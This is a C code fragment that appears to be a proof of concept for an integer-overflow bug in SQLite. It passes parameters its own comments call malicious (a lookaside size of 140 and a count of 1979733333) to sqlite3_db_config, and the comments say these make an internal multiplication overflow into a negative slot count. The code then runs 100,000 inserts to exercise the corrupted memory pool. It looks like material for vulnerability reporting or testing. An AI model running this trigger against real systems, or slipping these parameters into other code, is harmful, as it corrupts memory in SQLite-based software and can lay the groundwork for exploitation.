// Open SQLite database
if (sqlite3_open("test.db", &db)) {
    fprintf(stderr, "Can't open database: %s\n", sqlite3_errmsg(db));
    return 1;
}

// Malicious lookaside configuration
// sz = 140, cnt = 1979733333
// This causes internal sz * nBig to overflow and produces negative nSm
int rc = sqlite3_db_config(db, SQLITE_DBCONFIG_LOOKASIDE, NULL, 140, 1979733333);
if (rc != SQLITE_OK) {
    fprintf(stderr, "Failed to configure lookaside: %d\n", rc);
    return 2;
} else {
    printf("[+] Lookaside configured\n");
}

// Create table and perform many inserts to exercise corrupted lookaside pool
sqlite3_exec(db, "CREATE TABLE test(id INTEGER);", NULL, NULL, NULL);

for (int i = 0; i < 100000; i++) {
    char sql[64];
    snprintf(sql, sizeof(sql), "INSERT INTO test(id) VALUES(%d);", i);
    sqlite3_exec(db, sql, NULL, NULL, NULL);
}

printf("[+] Insert finished. Closing DB.\n");
sqlite3_close(db);
return 0;